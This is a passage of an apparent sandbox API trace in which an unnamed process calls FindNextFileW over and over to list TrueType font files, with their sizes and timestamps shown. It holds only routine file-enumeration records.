ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14348, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTAUR.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28580, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTURY.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x178c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHILLER.TTF", cAlternateFileName="")) returned 1 [0232.228] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd6a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="COLONNA.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="COOPBL.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf070, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPRGTB.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPRGTL.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURLZ___.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc9c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEPHNT.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd434, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEPHNTI.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc268, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGR.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe0a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERASBD.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87282225, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERASDEMI.TTF", cAlternateFileName="")) returned 1 [0232.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x895d1c90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERASLGHT.TTF", cAlternateFileName="")) returned 1 [0232.230] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xed64, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERASMD.TTF", cAlternateFileName="")) returned 1 [0232.230] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8909a9cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FELIXTI.TTF", cAlternateFileName="")) returned 1 [0232.233] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf150, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORTE.TTF", cAlternateFileName="")) returned 1 [0232.233] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2547c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRABK.TTF", cAlternateFileName="")) returned 1 [0232.233] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29694, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRABKIT.TTF", cAlternateFileName="")) returned 1 [0232.233] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22e54, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRADM.TTF", cAlternateFileName="")) returned 1 [0232.233] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c8cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRADMCN.TTF", cAlternateFileName="")) returned 1 [0232.233] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRADMIT.TTF", cAlternateFileName="")) returned 1 [0232.233] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22088, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAHV.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c7c1e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c7c1e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2547c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAHVIT.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8910d01a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8910d01a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAMDCN.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x896442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x110f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREESCPT.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x895d1c90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRSCRIPT.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x895f7d89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1467c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FTLTLT.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x896442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b88e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GABRIOLA.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86ff9a7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x337e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GADUGI.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x896442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3328c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GADUGIB.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x305b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARA.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8910d01a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8910d01a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARABD.TTF", cAlternateFileName="")) returned 1 [0232.234] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86ff9a7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e418, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARAIT.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22af8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIGI.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11748, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILBI___.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87b4cd70, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILB____.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a8e187, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a8e187, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILC____.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ab4411, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ab4411, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILI____.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILLUBCD.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8909a9cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILSANUB.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10758, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIL_____.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11be4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GLECB.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GLSNECB.TTF", cAlternateFileName="")) returned 1 [0232.235] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8947a735, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOTHIC.TTF", cAlternateFileName="")) returned 1 [0232.236] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOTHICB.TTF", cAlternateFileName="")) returned 1 [0232.236] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOTHICBI.TTF", cAlternateFileName="")) returned 1 [0232.236] FindNextFileW (in: hFindFile=0x33e4be8, 